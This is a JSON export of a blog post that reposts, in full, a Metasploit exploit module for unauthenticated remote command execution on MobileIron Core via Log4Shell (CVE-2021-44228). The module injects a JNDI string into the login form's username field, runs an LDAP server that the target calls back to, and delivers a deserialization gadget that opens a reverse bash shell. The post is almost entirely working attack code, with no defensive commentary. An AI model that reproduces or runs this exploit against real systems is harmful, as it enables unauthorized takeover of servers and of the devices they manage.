{"id":28913,"date":"2022-08-03T19:50:52","date_gmt":"2022-08-03T15:50:52","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167917\/mobileiron_core_log4shell.rb.txt"},"modified":"2022-09-11T12:37:28","modified_gmt":"2022-09-11T08:07:28","slug":"mobileiron-log4shell-remote-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/mobileiron-log4shell-remote-command-execution\/","title":{"rendered":"MobileIron Log4Shell Remote Command Execution"},"content":{"rendered":"<p dir=\"ltr\">##<br \/>\n# This module requires Metasploit: https:\/\/metasploit.com\/download<br \/>\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>\n##<br \/>\nclass MetasploitModule &lt; Msf::Exploit::Remote<br \/>\nRank = ExcellentRanking<\/p>\n<p dir=\"ltr\">include Msf::Exploit::Remote::Log4Shell<br \/>\ninclude Msf::Exploit::Remote::HttpClient<br \/>\nprepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p dir=\"ltr\">def initialize(_info = {})<br \/>\nsuper(<br \/>\n&#8216;Name&#8217; =&gt; &#8216;MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)&#8217;,<br \/>\n&#8216;Description&#8217; =&gt; %q{<br \/>\nMobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string sent to the server<br \/>\nwill cause it to connect to the attacker and deserialize a malicious Java object. This results in OS<br \/>\ncommand execution in the context of the tomcat user.<\/p>\n<p dir=\"ltr\">This module will start an LDAP server that the target will need to connect to.<br \/>\n},<br \/>\n&#8216;Author&#8217; =&gt; [<br \/>\n&#8216;Spencer McIntyre&#8217;, # JNDI\/LDAP lib stuff<br \/>\n&#8216;RageLtMan &lt;rageltman[at]sempervictus&gt;&#8217;, # JNDI\/LDAP lib stuff<br \/>\n&#8216;rwincey&#8217;, # discovered log4shell vector in MobileIron<br \/>\n&#8216;jbaines-r7&#8217; # wrote this module<br \/>\n],<br \/>\n&#8216;References&#8217; =&gt; [<br \/>\n[ &#8216;CVE&#8217;, &#8216;2021-44228&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/attackerkb.com\/topics\/in9sPR2Bzt\/cve-2021-44228-log4shell\/rapid7-analysis&#8217;],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/forums.ivanti.com\/s\/article\/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US&#8217; ],<br \/>\n[ &#8216;URL&#8217;, &#8216;https:\/\/www.mandiant.com\/resources\/mobileiron-log4shell-exploitation&#8217; ]\n],<br \/>\n&#8216;DisclosureDate&#8217; =&gt; &#8216;2021-12-12&#8217;,<br \/>\n&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;RPORT&#8217; =&gt; 443,<br \/>\n&#8216;SSL&#8217; =&gt; true,<br \/>\n&#8216;SRVPORT&#8217; =&gt; 389,<br \/>\n&#8216;WfsDelay&#8217; =&gt; 30<br \/>\n},<br \/>\n&#8216;Targets&#8217; =&gt; [<br \/>\n[<br \/>\n&#8216;Linux&#8217;, {<br \/>\n&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;,<br \/>\n&#8216;Arch&#8217; =&gt; [ARCH_CMD],<br \/>\n&#8216;DefaultOptions&#8217; =&gt; {<br \/>\n&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/reverse_bash&#8217;<br \/>\n}<br \/>\n},<br \/>\n]\n],<br \/>\n&#8216;Notes&#8217; =&gt; {<br \/>\n&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>\n&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>\n&#8216;AKA&#8217; =&gt; [&#8216;Log4Shell&#8217;, &#8216;LogJam&#8217;],<br \/>\n&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>\n&#8216;RelatedModules&#8217; =&gt; [<br \/>\n&#8216;auxiliary\/scanner\/http\/log4shell_scanner&#8217;,<br \/>\n&#8216;exploit\/multi\/http\/log4shell_header_injection&#8217;<br \/>\n]\n}<br \/>\n)<br \/>\nregister_options([<br \/>\nOptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;Base path&#8217;, &#8216;\/&#8217;])<br \/>\n])<br \/>\nend<\/p>\n<p dir=\"ltr\">def wait_until(&amp;block)<br \/>\ndatastore[&#8216;WfsDelay&#8217;].times do<br \/>\nbreak if block.call<\/p>\n<p dir=\"ltr\">sleep(1)<br \/>\nend<br \/>\nend<\/p>\n<p dir=\"ltr\">def check<br \/>\nvalidate_configuration!<\/p>\n<p dir=\"ltr\">vprint_status(&#8216;Attempting to trigger the jndi callback&#8230;&#8217;)<\/p>\n<p dir=\"ltr\">start_service<br \/>\nres = trigger<br \/>\nreturn Exploit::CheckCode::Unknown(&#8216;No HTTP response was received.&#8217;) if res.nil?<\/p>\n<p dir=\"ltr\">wait_until { @search_received }<br \/>\n@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown(&#8216;No LDAP search query was received.&#8217;)<br \/>\nensure<br \/>\ncleanup_service<br \/>\nend<\/p>\n<p dir=\"ltr\">def build_ldap_search_response_payload<br \/>\nreturn [] if @search_received<\/p>\n<p dir=\"ltr\">@search_received = true<\/p>\n<p dir=\"ltr\">return [] unless @exploiting<\/p>\n<p dir=\"ltr\">print_good(&#8216;Delivering the serialized Java object to execute the payload&#8230;&#8217;)<br \/>\nbuild_ldap_search_response_payload_inline(&#8216;CommonsBeanutils1&#8217;)<br \/>\nend<\/p>\n<p dir=\"ltr\">def trigger<br \/>\n@search_received = false<\/p>\n<p dir=\"ltr\">send_request_cgi(<br \/>\n&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>\n&#8216;uri&#8217; =&gt; normalize_uri(target_uri, &#8216;mifs&#8217;, &#8216;j_spring_security_check&#8217;),<br \/>\n&#8216;headers&#8217; =&gt; {<br \/>\n&#8216;Referer&#8217; =&gt; &#8220;https:\/\/#{rhost}#{normalize_uri(target_uri, &#8216;mifs&#8217;, &#8216;user&#8217;, &#8216;login.jsp&#8217;)}&#8221;<br \/>\n},<br \/>\n&#8216;encode&#8217; =&gt; false,<br \/>\n&#8216;vars_post&#8217; =&gt; {<br \/>\n&#8216;j_username&#8217; =&gt; log4j_jndi_string,<br \/>\n&#8216;j_password&#8217; =&gt; Rex::Text.rand_text_alphanumeric(8),<br \/>\n&#8216;logincontext&#8217; =&gt; &#8217;employee&#8217;<br \/>\n}<br \/>\n)<br \/>\nend<\/p>\n<p dir=\"ltr\">def exploit<br \/>\nvalidate_configuration!<br \/>\n@exploiting = true<br \/>\nstart_service<br \/>\nres = trigger<br \/>\nfail_with(Failure::Unreachable, &#8216;Failed to trigger the vulnerability&#8217;) if res.nil?<br \/>\nfail_with(Failure::UnexpectedReply, &#8216;The server replied to the trigger in an unexpected way&#8217;) unless res.code == 302<\/p>\n<p dir=\"ltr\">wait_until { @search_received &amp;&amp; (!handler_enabled? || session_created?) }<br \/>\nhandler<br \/>\nend<br \/>\nend<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## # This module requires Metasploit: https:\/\/metasploit.com\/download # Current source: https:\/\/github.com\/rapid7\/metasploit-framework ## class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Log4Shell include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(_info = {}) super( &#8216;Name&#8217; =&gt; &#8216;MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)&#8217;, &#8216;Description&#8217; =&gt; %q{ MobileIron Core is affected by the Log4Shell vulnerability whereby a JNDI string &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28913","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28913","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28913"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28913\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28913"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28913"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28913"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}